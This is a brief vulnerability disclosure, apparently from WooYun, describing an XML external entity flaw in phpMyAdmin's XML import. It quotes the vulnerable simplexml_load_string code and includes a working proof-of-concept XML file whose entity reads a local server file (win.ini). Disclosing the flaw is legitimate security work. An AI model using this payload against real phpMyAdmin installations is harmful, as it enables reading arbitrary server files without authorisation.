Hi 80sec report this bug on wooyun,PhpMyadmin use a simplexml_load_string function to read xml from user input,this may be exploied to read files from the server or network in libraries/import/xml.php,some code like this /** * Load the XML string * * The option LIBXML_COMPACT is specified because it can * result in increased performance without the need to * alter the code in any way. It's basically a freebee. */ $xml = simplexml_load_string($buffer, "SimpleXMLElement", LIBXML_COMPACT); unset($buffer); /** * The XML was malformed */ if ($xml === FALSE) { so you just need to make a xml like this <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE wooyun [ <!ENTITY hi80sec SYSTEM "file:///c:/windows/win.ini"> ]> <pma_xml_export version="1.0" xmlns:pma=""> <!-- - Structure schemas --> <pma:structure_schemas> <pma:database name="test" collation="utf8_general_ci" charset="utf8"> <pma:table name="ts_ad"> &hi80sec; </pma:table> </pma:database> </pma:structure_schemas> <!-- - &#202;&#190;&#191;: 'thinksns' --> <database name="thinksns"> <!-- &#177; ts_ad --> </database> </pma_xml_export> then import this xml in PhpMyAdmin,you will get the content you want.
